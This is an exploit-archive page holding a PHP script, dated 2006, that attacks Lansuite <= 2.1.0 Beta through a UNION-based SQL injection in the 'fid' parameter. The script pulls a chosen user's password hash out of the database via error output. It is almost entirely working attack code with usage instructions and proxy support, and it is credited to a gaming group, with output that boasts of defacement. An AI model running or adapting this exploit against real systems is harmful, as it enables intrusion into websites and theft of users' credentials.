[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Lansuite <= 2.1.0 Beta (fid) Remote SQL Injection Exploit
# Published : 2006-02-24
# Author : x128
# Previous Title : phpWebSite <= 0.10.0-full (topics.php) Remote SQL Injection Exploit
# Next Title : NOCC Webmail <= 1.0 (Local Inclusion) Remote Code Execution Exploit


<?
error_reporting(E_ERROR);

function xss_init()
{
    if (!extension_loaded('php_curl'))
    {
       if (!dl('curl.so') and !dl('php_curl.so') and !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function xss_header()
{
    echo "noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo";
    echo "                                  oo    ooooooo     ooooooon";
    echo "                    oooo   oooo o888  o88     888 o888   888on";
    echo "                      888o888    888        o888   888888888n";
    echo "                      o88888o    888     o888   o 888o   o888n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88n";
    echo "oooooooooooooooooooooo lansuite 2.10 remote sql injection oooooooooooooooooooooon";
    echo "oo usage          $ php lansuite-210-exploit.php [url] [user id]n";
    echo "oo proxy support  $ php lansuite-210-exploit.php [url] [user id] [proxy]:[port]n";
    echo "oo example        $ php lansuite-210-exploit.php http://localhost 1n";
    echo "oo print the password of the usernn";
}

function xss_bottom()
{
    echo "noo developed for the [myg0t] online gaming groupn";
    echo "oo discover : x128 - alexander wilhelm - 24/02/2006n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net";
}

function xss_exploit()
{
    $xss_target = $_SERVER['argv'][1] . "/index.php";
    $xss_http_prefix_get = "?mod=board&action=forum&fid=x128";

    $xss_connection = curl_init();

    if ($_SERVER['argv'][3])
    {
        curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER['argv'][3]);
    }

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_prefix_get);
    curl_setopt ($xss_connection, CURLOPT_HEADER, 0);
    curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($xss_connection, CURLOPT_USERAGENT, 'x128');

    $xss_prefix_source = curl_exec($xss_connection) or die("oo error - cannot connect!n");
    
    $xss_prefix = substr(strstr($xss_prefix_source, "need_type FROM "), 15, strpos(strstr($xss_prefix_source, "need_type FROM "), "board_forums") - 15);
    
    $xss_http_get = "?mod=board&action=forum&fid=" . urlencode("0 UNION SELECT 1, 1, 1, 1, 1, 1, password, 1, 1, 1, 1 FROM ". $xss_prefix ."user WHERE userid = ". $_SERVER['argv'][2] ."/*");

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!n");

    $xss_passwd = substr(strstr($xss_source, "b.userid WHERE pid = "), 21, 32);
    
    if ($xss_passwd == "") { $xss_passwd = substr(strstr($xss_source, "Unknown column '"), 16, 32); }

    if ($_SERVER['argv'][2] && $xss_passwd)
    {
        echo "oo user           " . $_SERVER['argv'][2] . "n";
        echo "oo password       " . $xss_passwd . "nn";
        echo "oo dafaced ...n";
    }
    curl_close ($xss_connection); 
}

xss_init();
xss_header();
xss_exploit();
xss_bottom();
?>

# www.Syue.com [2006-02-24]